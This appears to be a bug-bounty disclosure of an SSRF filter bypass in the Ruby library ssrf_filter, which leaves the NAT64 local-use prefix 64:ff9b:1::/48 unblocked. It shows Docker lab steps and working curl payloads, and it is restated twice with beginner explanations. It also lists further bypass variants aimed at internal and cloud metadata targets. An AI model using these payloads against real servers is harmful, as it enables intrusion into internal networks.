SSRF Filter Bypass via Unblocked NAT64 Local-Use IPv6 Prefix (64:ff9b:1::/48)
The ssrf_filter library blocks the well-known NAT64 prefix but not the NAT64 local-use prefix, so addresses in that range are treated as public. An attacker could use such an address to make the server fetch internal-equivalent destinations, bypassing the private-IP guard.
- Fixed in 2 days
- Disclosed after 2 days
Summary:
ssrf_filter v1.3.0 blocks 64:ff9b::/96, but doesnt block the NAT64 local-use prefix 64:ff9b:1::/48, allowing those addresses to be treated as public. This enables SSRF requests through /fetch to internal-equivalent targets encoded under that prefix when routable in the deployment environment.
Steps To Reproduce:
- Like previous report, start our lab first :) (I'm using the library in Docker)
- Start a second app container with
NET_ADMINso we can add a test IPv6 route/address.
TIPSEN:~:% NET=$(docker inspect ssrf_filter_lab --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
TIPSEN:~:% docker rm -f ssrf_filter_lab_netadmin 2>/dev/null || true
ssrf_filter_lab_netadmin
TIPSEN:~:% docker run -d --name ssrf_filter_lab_netadmin --network "$NET" --cap-add NET_ADMIN -p 4568:4567 bbp-ssrf-ssrf-app ruby app.rb
46929c09894e83249c8143c192a727f2583b116c2be0ce70e1528773fb3b388f
- Install
iproute2in that container and add NAT64 local-use address64:ff9b:1::7f00:1to loopback.
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'apt-get update -qq && apt-get install -y -qq iproute2 && ip -6 addr add 64:ff9b:1::7f00:1/128 dev lo || true && ip -6 addr show dev lo'
...
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
inet6 64:ff9b:1::7f00:1/128 scope global
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host proto kernel_lo
valid_lft forever preferred_lft forever
- Start a local HTTP service bound to that NAT64 local-use address.
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'cat > /tmp/vuln_server_nat64.rb << "RUBY"
require "socket"
server = TCPServer.new("64:ff9b:1::7f00:1", 18081)
loop do
sock = server.accept
begin
while (line = sock.gets)
break if line == "\r\n"
end
body = "NAT64_PREFIX_BYPASS_DEMO"
sock.write("HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: #{body.bytesize}\r\nConnection: close\r\n\r\n#{body}")
ensure
sock.close rescue nil
end
end
RUBY
nohup ruby /tmp/vuln_server_nat64.rb >/tmp/vuln_server_nat64.log 2>&1 &'
- Verify the service is reachable on that address from inside the same container.
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'ruby -rsocket -e "s=TCPSocket.new(\"64:ff9b:1::7f00:1\",18081); s.write(\"GET / HTTP/1.0\r\nHost: x\r\n\r\n\"); puts s.read; s.close"'
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 24
Connection: close
NAT64_PREFIX_BYPASS_DEMO
- Control check: known blocked NAT64 well-known prefix.
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b::7f00:1]:18081'
{"status":"blocked","error":"SsrfFilter::PrivateIPAddress","message":"Hostname '64:ff9b::7f00:1' has no public ip addresses"}%
- Bypass check: unblocked NAT64 local-use prefix.
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b:1::7f00:1]:18081'
{"status":"allowed","code":"200","headers":{"content-type":"text/plain","content-length":"24","connection":"close"},"body":"NAT64_PREFIX_BYPASS_DEMO"}%
Supporting Material/References:
Gonna put the root cause here to make checking easier :)
- https://github.com/arkadiyt/ssrf_filter/blob/main/lib/ssrf_filter/ssrf_filter.rb#L47-L59:
IPV6_BLACKLISTincludes64:ff9b::/96but doesn't include64:ff9b:1::/48(NAT64 local-use prefix), leaving that range unclassified as private/unsafe. - https://github.com/arkadiyt/ssrf_filter/blob/main/lib/ssrf_filter/ssrf_filter.rb#L139-L143:
unsafe_ip_address?decides IPv6 safety only by membership inIPV6_BLACKLIST. Because64:ff9b:1::/48is missing, those addresses are treated as safe/public. - https://github.com/arkadiyt/ssrf_filter/blob/main/lib/ssrf_filter/ssrf_filter.rb#L126-L127: The resolver output is filtered with
unsafe_ip_address?and unblocked NAT64 local-use addresses remain inpublic_addresses, so the private-IP guard is bypassed.
Impact
An attacker can bypass SSRF protections and force server-side requests to restricted/internal destinations using 64:ff9b:1::/48 addresses. This may expose sensitive internal services or metadata and can enable additional internal network reconnaissance or pivoting.
Context
ssrf_filter is a Ruby library, published at https://github.com/arkadiyt/ssrf_filter, that applications use to guard outbound HTTP requests against Server-Side Request Forgery. The version in scope is v1.3.0. The library classifies resolved IP addresses as public or private and refuses to fetch a URL whose hostname resolves only to private addresses.
The report concerns the library's handling of IPv6 addresses in the NAT64 space. NAT64 lets an IPv6-only host reach IPv4 destinations by embedding the IPv4 address in an IPv6 address. The well-known prefix for this is 64:ff9b::/96, and the library blocks it. A second, local-use prefix exists, 64:ff9b:1::/48, and the library does not block it. Because unsafe_ip_address? decides IPv6 safety purely by membership in IPV6_BLACKLIST, addresses under the local-use prefix are treated as public and the fetch proceeds.
The report demonstrates this against a lab application exposing a /fetch endpoint that uses the library.
Setup
The researcher reuses a lab from a previous report: the library running inside Docker, with an application container named ssrf_filter_lab serving the /fetch endpoint on port 4567, published on the host as port 4568. A second container is started on the same Docker network with the NET_ADMIN capability so that an IPv6 address and route can be added inside it. The image used for the second container is bbp-ssrf-ssrf-app, running ruby app.rb.
Preconditions for the demonstration: the ability to add an IPv6 address to a loopback interface inside a container, and a deployment environment in which 64:ff9b:1::/48 addresses are routable. The report notes explicitly that the bypass applies "when routable in the deployment environment".
Finding it
The starting point is the library's IPv6 blacklist. IPV6_BLACKLIST contains 64:ff9b::/96, the NAT64 well-known prefix, but not 64:ff9b:1::/48, the NAT64 local-use prefix. Since unsafe_ip_address? treats an IPv6 address as unsafe only if it appears in that blacklist, any address under 64:ff9b:1::/48 is classified as safe and public. The resolver output is filtered with unsafe_ip_address?, so unblocked NAT64 local-use addresses stay in public_addresses and the private-IP guard never fires.
The practical consequence is that an IPv4 destination can be encoded inside a 64:ff9b:1::/48 address and passed to /fetch as an IPv6 literal. If the environment routes that prefix, the request reaches the embedded IPv4 target while the library sees a public address.
Exploitation
Step 1: start the lab
The researcher starts the existing lab as in the previous report, using the library in Docker. The application container ssrf_filter_lab is the one whose /fetch endpoint is tested.
Step 2: start a second container with NET_ADMIN
A second container is created on the same Docker network, with the NET_ADMIN capability, so that IPv6 addresses can be configured inside it. The network name is read from the existing lab container and the new container is started on it, publishing container port 4567 as host port 4568.
TIPSEN:~:% NET=$(docker inspect ssrf_filter_lab --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
TIPSEN:~:% docker rm -f ssrf_filter_lab_netadmin 2>/dev/null || true
ssrf_filter_lab_netadmin
TIPSEN:~:% docker run -d --name ssrf_filter_lab_netadmin --network "$NET" --cap-add NET_ADMIN -p 4568:4567 bbp-ssrf-ssrf-app ruby app.rb
[redacted]
The docker inspect call extracts the network name from the lab container. The docker run line starts the second application instance with NET_ADMIN and attaches it to the same network, so both containers share an address space in which the test prefix can be made reachable.
Step 3: add the NAT64 local-use address to loopback
iproute2 is installed in the new container and the address 64:ff9b:1::7f00:1 is added to the loopback interface. The address 64:ff9b:1::7f00:1 is added to the loopback interface.
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'apt-get update -qq && apt-get install -y -qq iproute2 && ip -6 addr add 64:ff9b:1::7f00:1/128 dev lo || true && ip -6 addr show dev lo'
...
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
inet6 64:ff9b:1::7f00:1/128 scope global
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host proto kernel_lo
valid_lft forever preferred_lft forever
The output confirms that 64:ff9b:1::7f00:1/128 is present on lo with global scope, alongside the usual ::1.
Step 4: start a local HTTP service on that address
A small Ruby TCP server is written to /tmp/vuln_server_nat64.rb and started in the background. It binds to 64:ff9b:1::7f00:1 on port 18081 and answers every request with a fixed body.
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'cat > /tmp/vuln_server_nat64.rb << "RUBY"
require "socket"
server = TCPServer.new("64:ff9b:1::7f00:1", 18081)
loop do
sock = server.accept
begin
while (line = sock.gets)
break if line == "\r\n"
end
body = "NAT64_PREFIX_BYPASS_DEMO"
sock.write("HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: #{body.bytesize}\r\nConnection: close\r\n\r\n#{body}")
ensure
sock.close rescue nil
end
end
RUBY
nohup ruby /tmp/vuln_server_nat64.rb >/tmp/vuln_server_nat64.log 2>&1 &'
The server reads request headers until the blank line, then writes a 200 OK response with Content-Type: text/plain, Content-Length: 24, Connection: close, and the body NAT64_PREFIX_BYPASS_DEMO. This stands in for an internal service that should not be reachable through the SSRF filter.
Step 5: verify the service is reachable
Before testing the filter, the researcher confirms from inside the same container that the service answers on the NAT64 local-use address.
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'ruby -rsocket -e "s=TCPSocket.new(\"64:ff9b:1::7f00:1\",18081); s.write(\"GET / HTTP/1.0\r\nHost: x\r\n\r\n\"); puts s.read; s.close"'
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 24
Connection: close
NAT64_PREFIX_BYPASS_DEMO
The response matches what the server writes, so the address is live and the service is reachable.
Step 6: control check against the blocked well-known prefix
As a control, the same service is requested through /fetch using the well-known NAT64 prefix 64:ff9b::/96, which the library blocks.
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b::7f00:1]:18081'
{"status":"blocked","error":"SsrfFilter::PrivateIPAddress","message":"Hostname '64:ff9b::7f00:1' has no public ip addresses"}%
The library returns status: blocked with SsrfFilter::PrivateIPAddress and the message that the hostname has no public IP addresses. This confirms the filter is active and that the well-known prefix is classified as private.
Step 7: bypass check against the local-use prefix
The same request is repeated with the local-use prefix 64:ff9b:1::/48.
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b:1::7f00:1]:18081'
{"status":"allowed","code":"200","headers":{"content-type":"text/plain","content-length":"24","connection":"close"},"body":"NAT64_PREFIX_BYPASS_DEMO"}%
This time the library returns status: allowed and the full response from the internal service, including the body NAT64_PREFIX_BYPASS_DEMO. The filter treated the address as public and fetched it.
Root cause
The report lists three code locations that together produce the bypass.
IPV6_BLACKLISTinlib/ssrf_filter/ssrf_filter.rb(lines 47 to 59) includes64:ff9b::/96but not64:ff9b:1::/48, the NAT64 local-use prefix, leaving that range unclassified as private or unsafe.unsafe_ip_address?(lines 139 to 143) decides IPv6 safety only by membership inIPV6_BLACKLIST. Because64:ff9b:1::/48is missing, those addresses are treated as safe and public.- The resolver output (lines 126 to 127) is filtered with
unsafe_ip_address?, and unblocked NAT64 local-use addresses remain inpublic_addresses, so the private-IP guard is bypassed.
For IPv6, safety is decided by membership in IPV6_BLACKLIST, so a prefix that is not enumerated is treated as public. The well-known NAT64 prefix was enumerated; the local-use prefix was not.
Impact
An attacker can bypass the SSRF protection and force server-side requests to restricted or internal destinations by using 64:ff9b:1::/48 addresses. This may expose sensitive internal services or metadata and can enable further internal network reconnaissance or pivoting. The bypass depends on the deployment environment routing the local-use prefix, as the report states; where the prefix is not routable, the encoded destination is not reachable.
Fix
The report does not describe a fix or a change made to the library. A fix would need to add 64:ff9b:1::/48 to IPV6_BLACKLIST so that unsafe_ip_address? classifies those addresses as unsafe.
- Other special-purpose IPv6 prefixes that may be missing from a blacklist: send
/fetchrequests with IPv6 literals under prefixes such as2001:db8::/32,2001:2::/48,2001:10::/28,2001:20::/28,100::/64and5f00::/16. A positive result isstatus: allowedwhere the address should be classified as non-public. - IPv4-mapped and IPv4-compatible forms: try
::ffff:[redacted],::[redacted]and other encodings of loopback or RFC 1918 addresses. A positive result is a fetch that reaches the internal target instead of returningSsrfFilter::PrivateIPAddress. - NAT64 with different embedded IPv4 targets: replace
7f00:1with the hex form of an internal address such as[redacted](0a00:1) or a cloud metadata address, and check whether the response body comes from that target. - Redirect chains: have an allowed public URL redirect to a
64:ff9b:1::/48literal and see whether the redirect target is re-validated. A positive result is the internal body being returned after the redirect. - DNS-based bypass: point a hostname at a
64:ff9b:1::/48address and request it through/fetch. A positive result isstatus: allowedwith the internal response, showing the resolver path is affected as well as literal addresses. - Mixed A and AAAA records: return one public A record and one
64:ff9b:1::/48AAAA record and observe which address the library connects to. A positive result is a connection to the internal-equivalent address while the public record keeps the hostname classified as safe.
What happened, in plain words
A small piece of software called ssrf_filter is meant to stop a web application from being tricked into making requests to places it should not reach. The researcher found that one kind of IPv6 address slips past that protection, so a request that should be refused is allowed through instead.
To follow the story you only need a few ideas:
- A library is a bundle of ready-made code that other programs reuse instead of writing everything themselves.
ssrf_filteris a library written in the Ruby programming language. - A server is a computer (or a program on it) that answers requests from other computers. When you open a website, your browser asks a server for a page and the server sends it back.
- An IP address is the number that identifies a computer on a network, a bit like a postal address for data. The older style, IPv4, looks like
[redacted]. The newer style, IPv6, is longer and uses colons, like64:ff9b::7f00:1. - Loopback is a special address that always means "this same machine". In IPv4 it is
[redacted]; in IPv6 it is::1. Contacting loopback is like talking to yourself: the traffic never leaves the computer. - SSRF (Server-Side Request Forgery) is a class of bug where an attacker makes a server send a request on the attacker's behalf. If the server can reach internal machines that outsiders cannot, the attacker can use the server as a middleman to poke at them.
- A filter here is the check inside the library that looks at where a request is going and refuses it if the destination is private or internal.
ssrf_filter works by looking at the address a URL points to. If that address is a private one (an internal address that outsiders should not reach), the library refuses to make the request. The researcher found that one family of IPv6 addresses is not on the library's list of private addresses, so the library treats it as a normal public address and lets the request through.
That family is called NAT64. NAT64 is a translation trick: it lets a computer that only speaks the newer IPv6 reach older IPv4 destinations by packing the IPv4 address inside an IPv6 address. There are two standard prefixes (think of a prefix as the fixed beginning of an address, like a postcode area) used for this:
64:ff9b::/96, the "well-known" prefix, which the library does block.64:ff9b:1::/48, the "local-use" prefix, which the library does not block.
The report demonstrates the gap against a small test application that exposes a /fetch endpoint. An endpoint is simply a specific URL on a server that does one job; /fetch is the part of the application that takes a URL and fetches it using the library.
Context
ssrf_filter is a Ruby library, published at https://github.com/arkadiyt/ssrf_filter, that applications use to guard outbound HTTP requests against Server-Side Request Forgery. The version in scope is v1.3.0. The library classifies resolved IP addresses as public or private and refuses to fetch a URL whose hostname resolves only to private addresses.
In plain terms: when an application wants to fetch a URL on a user's behalf, it hands the URL to this library first. The library looks up the address behind the hostname (the resolver does that lookup, turning a name like example.com into an IP address) and decides whether that address is public or private. If it is private, the fetch is refused.
The report concerns the library's handling of IPv6 addresses in the NAT64 space. NAT64 lets an IPv6-only host reach IPv4 destinations by embedding the IPv4 address in an IPv6 address. The well-known prefix for this is 64:ff9b::/96, and the library blocks it. A second, local-use prefix exists, 64:ff9b:1::/48, and the library does not block it. Because unsafe_ip_address? decides IPv6 safety purely by membership in IPV6_BLACKLIST, addresses under the local-use prefix are treated as public and the fetch proceeds.
Two names to keep in mind:
IPV6_BLACKLISTis a list inside the library of IPv6 address ranges that are considered unsafe. Anything not on the list is assumed safe.unsafe_ip_address?is the function that checks an address against that list. The question mark at the end is a Ruby convention meaning "this returns true or false".
The report demonstrates this against a lab application exposing a /fetch endpoint that uses the library.
Setup
The researcher reuses a lab from a previous report: the library running inside Docker, with an application container named ssrf_filter_lab serving the /fetch endpoint on port 4567, published on the host as port 4568. A second container is started on the same Docker network with the NET_ADMIN capability so that an IPv6 address and route can be added inside it. The image used for the second container is bbp-ssrf-ssrf-app, running ruby app.rb.
A few of those words need unpacking:
- Docker is a tool that runs programs in isolated boxes called containers. A container is like a small computer inside your computer, with its own network settings, kept separate from everything else.
- A port is a numbered door on a computer. One machine can run many services, each listening on a different port. Port 4567 is the door the application listens on inside its container; port 4568 is the door on the host machine that forwards to it, so you can reach the container from outside.
NET_ADMINis a permission that lets a program change network settings, such as adding an IP address to a network interface. Normally a container is not allowed to do that.- A network interface is the part of the system that sends and receives traffic.
lois the loopback interface, the one that talks to the same machine.
Preconditions for the demonstration: the ability to add an IPv6 address to a loopback interface inside a container, and a deployment environment in which 64:ff9b:1::/48 addresses are routable. The report notes explicitly that the bypass applies "when routable in the deployment environment".
"Routable" means the network knows how to deliver traffic to that address. If nothing on the network knows where 64:ff9b:1::/48 should go, the request simply fails; the bypass only matters where that prefix actually leads somewhere.
Finding it
The starting point is the library's IPv6 blacklist. IPV6_BLACKLIST contains 64:ff9b::/96, the NAT64 well-known prefix, but not 64:ff9b:1::/48, the NAT64 local-use prefix. Since unsafe_ip_address? treats an IPv6 address as unsafe only if it appears in that blacklist, any address under 64:ff9b:1::/48 is classified as safe and public. The resolver output is filtered with unsafe_ip_address?, so unblocked NAT64 local-use addresses stay in public_addresses and the private-IP guard never fires.
public_addresses is the list of addresses the library is willing to connect to. If an address is not removed from that list, the fetch goes ahead.
The practical consequence is that an IPv4 destination can be encoded inside a 64:ff9b:1::/48 address and passed to /fetch as an IPv6 literal. If the environment routes that prefix, the request reaches the embedded IPv4 target while the library sees a public address.
An IPv6 literal is an IPv6 address written directly in a URL, wrapped in square brackets, for example http://[64:ff9b:1::7f00:1]:18081. The square brackets are needed because colons already have a meaning in URLs (they separate the host from the port).
Exploitation
Step 1: start the lab
The researcher starts the existing lab as in the previous report, using the library in Docker. The application container ssrf_filter_lab is the one whose /fetch endpoint is tested.
This is the target under test: a small web application that will fetch whatever URL you give it, after passing it through the library's safety check.
Step 2: start a second container with NET_ADMIN
A second container is created on the same Docker network, with the NET_ADMIN capability, so that IPv6 addresses can be configured inside it. The network name is read from the existing lab container and the new container is started on it, publishing container port 4567 as host port 4568.
TIPSEN:~:% NET=$(docker inspect ssrf_filter_lab --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
TIPSEN:~:% docker rm -f ssrf_filter_lab_netadmin 2>/dev/null || true
ssrf_filter_lab_netadmin
TIPSEN:~:% docker run -d --name ssrf_filter_lab_netadmin --network "$NET" --cap-add NET_ADMIN -p 4568:4567 bbp-ssrf-ssrf-app ruby app.rb
[redacted]
Line by line:
NET=$(docker inspect ...)asks Docker for details about the existing lab container and pulls out the name of the network it is attached to, storing it in a shell variable calledNET. The--formatpart is a template that walks the container's list of networks and prints each network name.docker rm -f ssrf_filter_lab_netadmin 2>/dev/null || trueremoves any leftover container from an earlier attempt. The2>/dev/nullthrows away error messages, and|| truemakes sure the command does not stop the script if there was nothing to remove. The stray linessrf_filter_lab_netadminbelow it is just the name echoed back in the terminal output.docker run -d ...starts a new container in the background (-d). It is namedssrf_filter_lab_netadmin, attached to the same network (--network "$NET"), given the network-admin permission (--cap-add NET_ADMIN), and its internal port 4567 is published on the host as 4568 (-p 4568:4567). It runs the imagebbp-ssrf-ssrf-appwith the commandruby app.rb, which starts the application.- The long hex string is the ID Docker assigns to the new container.
The docker inspect call extracts the network name from the lab container. The docker run line starts the second application instance with NET_ADMIN and attaches it to the same network, so both containers share an address space in which the test prefix can be made reachable.
Step 3: add the NAT64 local-use address to loopback
iproute2 is installed in the new container and the address 64:ff9b:1::7f00:1 is added to the loopback interface. The address 64:ff9b:1::7f00:1 is added to the loopback interface.
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'apt-get update -qq && apt-get install -y -qq iproute2 && ip -6 addr add 64:ff9b:1::7f00:1/128 dev lo || true && ip -6 addr show dev lo'
...
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
inet6 64:ff9b:1::7f00:1/128 scope global
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host proto kernel_lo
valid_lft forever preferred_lft forever
Line by line:
docker exec ... sh -lc '...'runs a command inside the running container.sh -lcmeans "start a shell and run this string as a command".apt-get update -qq && apt-get install -y -qq iproute2refreshes the package list and installsiproute2, the toolkit that contains theipcommand. The-qqflags keep the output quiet, and-yanswers yes to any prompt.ip -6 addr add 64:ff9b:1::7f00:1/128 dev loadds that IPv6 address to the loopback interface. The/128means "this exact single address". The|| truemeans "carry on even if it is already there".ip -6 addr show dev loprints the addresses on the loopback interface so you can see the result.- The output shows
inet6 64:ff9b:1::7f00:1/128 scope globalonlo, next to the usual::1.
The output confirms that 64:ff9b:1::7f00:1/128 is present on lo with global scope, alongside the usual ::1.
Step 4: start a local HTTP service on that address
A small Ruby TCP server is written to /tmp/vuln_server_nat64.rb and started in the background. It binds to 64:ff9b:1::7f00:1 on port 18081 and answers every request with a fixed body.
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'cat > /tmp/vuln_server_nat64.rb << "RUBY"
require "socket"
server = TCPServer.new("64:ff9b:1::7f00:1", 18081)
loop do
sock = server.accept
begin
while (line = sock.gets)
break if line == "\r\n"
end
body = "NAT64_PREFIX_BYPASS_DEMO"
sock.write("HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: #{body.bytesize}\r\nConnection: close\r\n\r\n#{body}")
ensure
sock.close rescue nil
end
end
RUBY
nohup ruby /tmp/vuln_server_nat64.rb >/tmp/vuln_server_nat64.log 2>&1 &'
Line by line:
cat > /tmp/vuln_server_nat64.rb << "RUBY" ... RUBYwrites everything between the twoRUBYmarkers into a file at/tmp/vuln_server_nat64.rb. This is a heredoc, a way of feeding a block of text to a command.require "socket"loads Ruby's built-in networking code.server = TCPServer.new("64:ff9b:1::7f00:1", 18081)opens a listening socket on that address and port. A socket is the program's handle on a network connection; a TCP server is a program that waits for connections on a port.loop do ... endrepeats forever, handling one connection at a time.sock = server.acceptwaits for the next incoming connection and hands it back assock.while (line = sock.gets) ... break if line == "\r\n"reads the request line by line until it hits the blank line that marks the end of the HTTP headers. HTTP is the language browsers and servers use to talk; a request is a few header lines followed by a blank line, then optionally a body.body = "NAT64_PREFIX_BYPASS_DEMO"sets the fixed reply text.sock.write("HTTP/1.1 200 OK\r\n...")writes a complete HTTP response: a200 OKstatus line, aContent-Typeheader saying the body is plain text, aContent-Lengthheader giving the body size, aConnection: closeheader saying the connection will be closed afterwards, then a blank line, then the body.ensure sock.close rescue nilcloses the connection when done, ignoring any error.nohup ruby /tmp/vuln_server_nat64.rb >/tmp/vuln_server_nat64.log 2>&1 &starts the script in the background (&), keeps it running after the shell exits (nohup), and sends its output to a log file.
The server reads request headers until the blank line, then writes a 200 OK response with Content-Type: text/plain, Content-Length: 24, Connection: close, and the body NAT64_PREFIX_BYPASS_DEMO. This stands in for an internal service that should not be reachable through the SSRF filter.
Step 5: verify the service is reachable
Before testing the filter, the researcher confirms from inside the same container that the service answers on the NAT64 local-use address.
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'ruby -rsocket -e "s=TCPSocket.new(\"64:ff9b:1::7f00:1\",18081); s.write(\"GET / HTTP/1.0\r\nHost: x\r\n\r\n\"); puts s.read; s.close"'
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 24
Connection: close
NAT64_PREFIX_BYPASS_DEMO
Line by line:
ruby -rsocket -e "..."runs a one-line Ruby program.-rsocketloads the networking code first, and-esays "the next string is the program".s=TCPSocket.new("64:ff9b:1::7f00:1",18081)opens a connection to the test server.s.write("GET / HTTP/1.0\r\nHost: x\r\n\r\n")sends a minimal HTTP request: the methodGET, the path/, the HTTP version, aHostheader, and the blank line that ends the headers.puts s.readprints whatever the server sends back, ands.closecloses the connection.- The output is the same response the server was written to produce.
The response matches what the server writes, so the address is live and the service is reachable.
Step 6: control check against the blocked well-known prefix
As a control, the same service is requested through /fetch using the well-known NAT64 prefix 64:ff9b::/96, which the library blocks.
A control is a comparison case where you already know the expected result. If the control behaves as expected, you can trust that the test setup is working and that a different result in the next step really means something.
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b::7f00:1]:18081'
{"status":"blocked","error":"SsrfFilter::PrivateIPAddress","message":"Hostname '64:ff9b::7f00:1' has no public ip addresses"}%
Line by line:
curlis a command-line tool for making HTTP requests.-sSkeeps it quiet but still shows errors.- The URL points at the lab application on
localhost:4568(the host port that forwards into the container) and asks its/fetchendpoint to fetchhttp://[64:ff9b::7f00:1]:18081. The?url=part is a query parameter, a value passed in the URL after a question mark. - The reply is JSON, a text format for structured data. It says
status: blocked, the error isSsrfFilter::PrivateIPAddress, and the message says the hostname has no public IP addresses. - The trailing
%is just the shell prompt marker, not part of the response.
The library returns status: blocked with SsrfFilter::PrivateIPAddress and the message that the hostname has no public IP addresses. This confirms the filter is active and that the well-known prefix is classified as private.
Step 7: bypass check against the local-use prefix
The same request is repeated with the local-use prefix 64:ff9b:1::/48.
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b:1::7f00:1]:18081'
{"status":"allowed","code":"200","headers":{"content-type":"text/plain","content-length":"24","connection":"close"},"body":"NAT64_PREFIX_BYPASS_DEMO"}%
Line by line:
- The only change from the control is the address:
64:ff9b:1::7f00:1instead of64:ff9b::7f00:1. The extra:1in the prefix is the whole difference. - The reply now says
status: allowed, withcode: 200, the same headers the internal server sent, and the bodyNAT64_PREFIX_BYPASS_DEMO.
This time the library returns status: allowed and the full response from the internal service, including the body NAT64_PREFIX_BYPASS_DEMO. The filter treated the address as public and fetched it.
Root cause
The report lists three code locations that together produce the bypass.
IPV6_BLACKLISTinlib/ssrf_filter/ssrf_filter.rb(lines 47 to 59) includes64:ff9b::/96but not64:ff9b:1::/48, the NAT64 local-use prefix, leaving that range unclassified as private or unsafe.unsafe_ip_address?(lines 139 to 143) decides IPv6 safety only by membership inIPV6_BLACKLIST. Because64:ff9b:1::/48is missing, those addresses are treated as safe and public.- The resolver output (lines 126 to 127) is filtered with
unsafe_ip_address?, and unblocked NAT64 local-use addresses remain inpublic_addresses, so the private-IP guard is bypassed.
For IPv6, safety is decided by membership in IPV6_BLACKLIST, so a prefix that is not enumerated is treated as public. The well-known NAT64 prefix was enumerated; the local-use prefix was not.
A blacklist is a list of things to refuse; anything not on it is allowed. An allowlist is the opposite: a list of things to permit, and anything not on it is refused. A blacklist only works if you can think of every bad case in advance, which is why missing one entry causes a gap like this one.
Impact
An attacker can bypass the SSRF protection and force server-side requests to restricted or internal destinations by using 64:ff9b:1::/48 addresses. This may expose sensitive internal services or metadata and can enable further internal network reconnaissance or pivoting. The bypass depends on the deployment environment routing the local-use prefix, as the report states; where the prefix is not routable, the encoded destination is not reachable.
"Metadata" here means the small internal service that cloud providers expose to their own machines, which can hand out credentials and configuration. "Pivoting" means using one compromised machine as a stepping stone to reach others.
Fix
The report does not describe a fix or a change made to the library. A fix would need to add 64:ff9b:1::/48 to IPV6_BLACKLIST so that unsafe_ip_address? classifies those addresses as unsafe.
- Other special-purpose IPv6 prefixes that may be missing from a blacklist: send
/fetchrequests with IPv6 literals under prefixes such as2001:db8::/32,2001:2::/48,2001:10::/28,2001:20::/28,100::/64and5f00::/16. A positive result isstatus: allowedwhere the address should be classified as non-public. - IPv4-mapped and IPv4-compatible forms: try
::ffff:[redacted],::[redacted]and other encodings of loopback or RFC 1918 addresses. A positive result is a fetch that reaches the internal target instead of returningSsrfFilter::PrivateIPAddress. - NAT64 with different embedded IPv4 targets: replace
7f00:1with the hex form of an internal address such as[redacted](0a00:1) or a cloud metadata address, and check whether the response body comes from that target. - Redirect chains: have an allowed public URL redirect to a
64:ff9b:1::/48literal and see whether the redirect target is re-validated. A positive result is the internal body being returned after the redirect. - DNS-based bypass: point a hostname at a
64:ff9b:1::/48address and request it through/fetch. A positive result isstatus: allowedwith the internal response, showing the resolver path is affected as well as literal addresses. - Mixed A and AAAA records: return one public A record and one
64:ff9b:1::/48AAAA record and observe which address the library connects to. A positive result is a connection to the internal-equivalent address while the public record keeps the hostname classified as safe.
A few terms in that list:
- RFC 1918 addresses are the standard private IPv4 ranges used inside home and office networks, such as
[redacted]and[redacted]. - A redirect is a server telling the client "the thing you want is over there", with a new address to fetch.
- DNS is the phone book of the internet, turning names into IP addresses. An A record maps a name to an IPv4 address; an AAAA record maps a name to an IPv6 address.
Glossary
- API: a defined way for one program to ask another program to do something, usually over the network.
- Blacklist: a list of things to refuse; anything not on the list is allowed.
- Allowlist: a list of things to permit; anything not on the list is refused.
- Container: an isolated box in which a program runs, with its own network and filesystem, managed by a tool such as Docker.
- Control: a comparison test where the expected result is already known, used to show the setup is working.
- DNS: the system that turns names like
example.cominto IP addresses. - A record: a DNS entry mapping a name to an IPv4 address.
- AAAA record: a DNS entry mapping a name to an IPv6 address.
- Docker: a tool for running programs in containers.
- Endpoint: a specific URL on a server that performs one job, such as
/fetch. - Filter: a check that inspects something and refuses it if it fails the rules.
- Heredoc: a way of feeding a block of text to a command in a shell script.
- HTTP: the language browsers and servers use to exchange requests and responses.
- IP address: the number identifying a computer on a network.
- IPv4: the older, shorter style of IP address, such as
[redacted]. - IPv6: the newer, longer style of IP address, written with colons, such as
64:ff9b::7f00:1. - IPv6 literal: an IPv6 address written directly in a URL, wrapped in square brackets.
- JSON: a text format for structured data, used in the responses shown here.
- Library: a bundle of ready-made code that other programs reuse.
- Loopback: the special address meaning "this same machine";
[redacted]in IPv4 and::1in IPv6. - NAT64: a translation scheme that lets an IPv6-only host reach IPv4 destinations by embedding the IPv4 address inside an IPv6 address.
- NET_ADMIN: a Linux permission that allows a program to change network settings, such as adding an IP address.
- Network interface: the part of a system that sends and receives network traffic;
lois the loopback interface. - Port: a numbered door on a computer through which a particular service is reached.
- Prefix: the fixed beginning of an address range, like a postcode area.
- Query parameter: a value passed in a URL after a question mark, such as
?url=.... - Redirect: a server response telling the client to fetch a different address instead.
- Resolver: the part of the system that looks up the IP address behind a hostname.
- RFC 1918: the standard private IPv4 ranges used inside home and office networks.
